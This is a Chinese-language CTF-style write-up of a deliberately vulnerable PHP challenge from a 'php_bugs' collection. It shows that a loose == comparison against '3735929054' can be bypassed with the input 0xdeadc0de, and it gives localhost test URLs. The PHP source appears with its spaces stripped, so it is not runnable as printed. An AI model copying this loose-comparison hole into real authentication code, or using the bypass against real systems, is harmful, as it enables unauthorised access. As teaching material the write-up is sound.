源码:
<?php
error_reporting(0);
functionnoother_says_correct($temp)
{
$flag='flag{test}';
$one=ord('1');//ord—返回字符的ASCII码值
$nine=ord('9');//ord—返回字符的ASCII码值
$number='3735929054';
//Checkalltheinputcharacters!
for($i=0;$i<strlen($number);$i++)
{
//Disallowallthedigits!
$digit=ord($temp{$i});
if(($digit>=$one)&&($digit<=$nine))
{
//Aha,digitnotallowed!
return"flase";
}
}
if($number==$temp)
return$flag;
}
$temp=$_GET['password'];
echonoother_says_correct($temp);
?>
函数释义:
ord()函数返回字符串的首个字符的 ASCII 值。
代码分析:
获取flag条件
if($number==$temp)
$number='3735929054';
$temp=$_GET['password'];
temp不允许输入1-9的数字
计算机中进制可以用来比较,0x开头表示16进制,将3735929054转换为16进制为deadc0de
使用如下语句进行进制转换:
echo dechex(3735929054);
解题过程:
直接输入3735929054进行尝试,发现不可以获取到flag值
http://localhost:63342/php_bugs-master/20%20%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E4%B8%8E%E6%95%B0%E5%AD%97%E6%AF%94%E8%BE%83.php?password=3735929054
password为0时无法获取到flag值:
http://localhost:63342/php_bugs-master/20%20%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E4%B8%8E%E6%95%B0%E5%AD%97%E6%AF%94%E8%BE%83.php?password=0
password为1时无法获取到flag值:
http://localhost:63342/php_bugs-master/20%20%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E4%B8%8E%E6%95%B0%E5%AD%97%E6%AF%94%E8%BE%83.php?password=1
成功获取到flag值:
http://localhost:63342/php_bugs-master/20%20%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E4%B8%8E%E6%95%B0%E5%AD%97%E6%AF%94%E8%BE%83.php?password=0xdeadc0de
参考链接:
https://github.com/bowu678/php_bugs